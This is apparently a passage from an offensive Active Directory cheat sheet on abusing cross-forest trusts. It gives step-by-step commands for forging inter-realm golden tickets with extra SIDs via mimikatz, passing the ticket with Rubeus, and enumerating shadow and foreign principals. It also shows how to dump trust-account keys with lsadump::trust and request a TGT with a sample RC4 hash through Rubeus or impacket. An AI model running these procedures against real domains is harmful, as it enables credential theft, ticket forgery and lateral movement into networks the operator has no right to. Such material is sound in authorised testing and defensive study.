SID History
This attack path is only applicable when SID Filtering is disabled and SID History is enabled. You can read the in-depth blogpost on this by harmj0y.
- Check for
trustAttributes
attribute. Make sure SID History is enabled
Get-DomainTrust
[[..snip..]]
TrustAttributes : TREAT_AS_EXTERNAL
[[..snip..]]
If TREAT_AS_EXTERNAL flag is set in trustAtrributes property, that means forst-trust is now more relaxed as stated in this documentation
If this bit is set, then a cross-forest trust to a domain is to be treated as an external trust for the purposes of SID Filtering. Cross-forest trusts are more stringently filtered than external trusts. This attribute relaxes those cross-forest trusts to be equivalent to external trusts.
- Forge Inter-Realm TGT with extra sids. We injected sid of trusted domain users with RID > 1000. This is because most WELL-KNOWN-SID is flag as ForestSpecific based on the documentation
The ForestSpecific rule is for those SIDs that are never allowed in a PAC that originates from out of the forest or from a domain that has been marked as QuarantinedWithinForest, unless it belongs to that domain.
mimikatz# kerberos::golden /user:administrator /domain:contoso.local /sid:<domain-sid> /rc4:<trust-key> /service:krbtgt /target:fortress.local /sids:<victim-user-sid> /ticket:<path>\ticket.kirbi
- Asktgs with the generated kirbi ticket
Rubeus.exe asktgs /ticket:<path>\ticket.kirbi /service:HTTP/dc02.contose.local /dc:dc02.contoso.local /ptt
Shadow Principal/PAM Trust
The users in current forest can be “mapped” to privileged group like Domain Admins and Enterprise Admins. Use below command to enumerate Shadow Principal
Get-ADObject -Filter * -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) | select Name,member,msDS-ShadowPrincipalSid | fl
name
= Name of the shadow security principalmember
= member of group/user in the bastion domainmsds-ShadowPrincipalSid
= The SID for production domain group/user
Foreign Principal
Foreign principal means other user(s) from trusted domain that have access to current domain resources
# Get foreign user principals
Find-ForeignUser
# Get foreign group principals
Find-ForeignGroup
Trust Account
Note
Note that this is not an exploit that could be escalated directly to higher privileged user. This is intend to give you a authenticated user access on another forest
Trust Account is created upon trust initiation (domain/trust) and it appears to be a member of Domain Users. Trust accounts will hold the same password/key on both domain/forest which we can use to move laterally from forest-to-forest.
- Get the trust account hash. This can either be obtained through DCSync or the following command to dump trust keys
mimikatz# lsadump::trust /patch
[[..snip..]]
[ Out ] KIWI.LOCAL -> RANGE.NET
* 6/29/2022 1:05:07 PM - CLEAR - 5e 88 f5 8e bf 01 83 8f 61 39 50 37 77 d8 ce 86 b0 90 f8 e4 b5 2e ef e2 03 dd bf 4c
* aes256_hmac a3edf4ac6cb5ed1583434348a67454d66e9fcd25d97c3e930c24790dbfa1d15f
* aes128_hmac 6e362139cacfdd8956d986fc8e33f0e9
* rc4_hmac_nt 4cc0dd338664b4208fa6a1a4a7bee224
[[..snip..]]
- Request TGT for the trust account by using the key dumped (aes/rc4). Note: this wouldn’t work over NTLM authentication, only kerberos
# rubeus
Rubeus.exe asktgt /user:RANGE$ /rc4:4cc0dd338664b4208fa6a1a4a7bee224 /domain:kiwi.local /dc:kiwi-dc.kiwi.local /nowrap
# impacket
getTGT.py kiwi.local/range\$ -hashes :4cc0dd338664b4208fa6a1a4a7bee224 -dc-ip 192.168.86.189
- Now you should be able to use the retrieved TGT to interact with the trusted forest.